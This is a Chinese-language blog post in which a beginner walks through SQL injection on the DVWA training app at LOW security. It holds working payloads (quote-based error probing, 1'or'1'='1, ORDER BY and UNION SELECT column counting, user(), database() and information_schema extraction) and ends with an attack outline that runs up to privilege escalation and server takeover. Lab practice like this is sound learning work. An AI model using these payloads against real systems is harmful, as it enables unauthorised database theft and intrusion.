標籤:使用者名稱 預設 ber 結合 地址欄 from nta img org
首先登入DVWA首頁:
1、修改安全層級為LOW級(第一次玩別打臉),中DVWA Security頁面中。
2、進入SQL Injection頁面,出錯了。(心裡想著這DVWA是官網下的不至於玩不了吧。。)
網頁錯誤提示:Parse error: syntax error, unexpected ‘[‘in C:\xampp\htdocs\DVWA\vulnerabilities\sqli\index.php on line 65
趕緊開啟index.php檔案,這提示報錯65行看看PHP代碼!(內心是不願意的,我是學java的)
$num = mysqli_fetch_row( $result )[0];
---->猜測放回類型不是數組,就將[0]去掉試了一下就可以了=。=(留給PHP的朋友去看具體吧,在下先用著)
3、一次奇葩的經曆後開始嘗試第一次的SQL注入。
根據上面的提示,輸入使用者的id,它將返回了關於這個user的資訊。這裡先輸入了“1”試試。
成功返回資料,發現瀏覽器的地址欄的url成了:
http://192.168.204.132/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#
換個輸入值2又變成:
http://192.168.204.132/DVWA/vulnerabilities/sqli/?id=2&Submit=Submit#
輸入單引號‘嘗試,發現頁面報錯:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘‘‘‘ at line 1
由於使用者輸入的值為ID,因此我們習慣判斷這裡的注入類型為數字型,因此嘗試輸入:1 or 1=1 ,看能否查詢:
並且地址欄為http://192.168.204.132/DVWA/vulnerabilities/sqli/?id=1+or+1%3D1&Submit=Submit#
所以猜測背景程式將此值當做字元型,於是輸入:1‘or‘1‘=‘1,結果成功返回多行資料:(好激動的說)
從OWASP測試指南上(http://www.owasp.org.cn/owasp-project/download/OWASP_testing_guide)看還有
Union查詢SQL注入、盲SQl注入、SUBSTRING(text,start,length)、預程式注入。
接下來分析欄位數:有兩種方法
方法一:用order bynum語句。
分析欄位數的原因是我們之後需要用union select語句來獲得我們需要的敏感性資料。根據order by知識知道,
要是後面跟著的數字超出了欄位數時,就會報錯!通過這個我們可以確定欄位數。
,所以欄位數為2
方法二:直接用union select來猜測欄位數。
因為當欄位數不對應的時候,它也是會發生報錯的!
1‘ union select 1#-------出錯The used SELECT statements have a different number of columns
1‘ union select 1,2#-------正常,所以欄位數為2
使用Union all結合利用user(),及database(),version()等三個內建函數。得到串連資料庫賬戶資訊、資料庫名稱、資料庫版本資訊。
1‘ and 1=2 union select user(),database()#------成功得到資料庫資訊!!!
使用Union all結合利用mysql預設的資料庫infromation_scehma,該資料庫儲存了Mysql所有資料庫和表的資訊。
1‘ and 1=2 union select 1,schema_name from information_schema.schemata#---------(可怕~)
總結一下今天SQL注入的第一次體驗:大致思路如下
1、尋找注入點,應該可以通過web掃描工具實現。
2、通過注入點,嘗試獲得關於串連資料庫使用者名稱、資料庫名稱、串連資料庫使用者權限、作業系統資訊、資料庫版本等相關資訊。
3、猜解關鍵資料庫表及其重要欄位與內容(常見如存放管理員賬戶的表名、欄位名等資訊)
4、可以通過獲得的使用者資訊,尋找後台登入入口。
5、利用後台瞭解進一步資訊,提權,直到拿到伺服器許可權。
非常感謝原博主的分享,受益頗深:http://blog.csdn.net/qq_20745827/article/details/68944753
SQL注入(dvwa環境)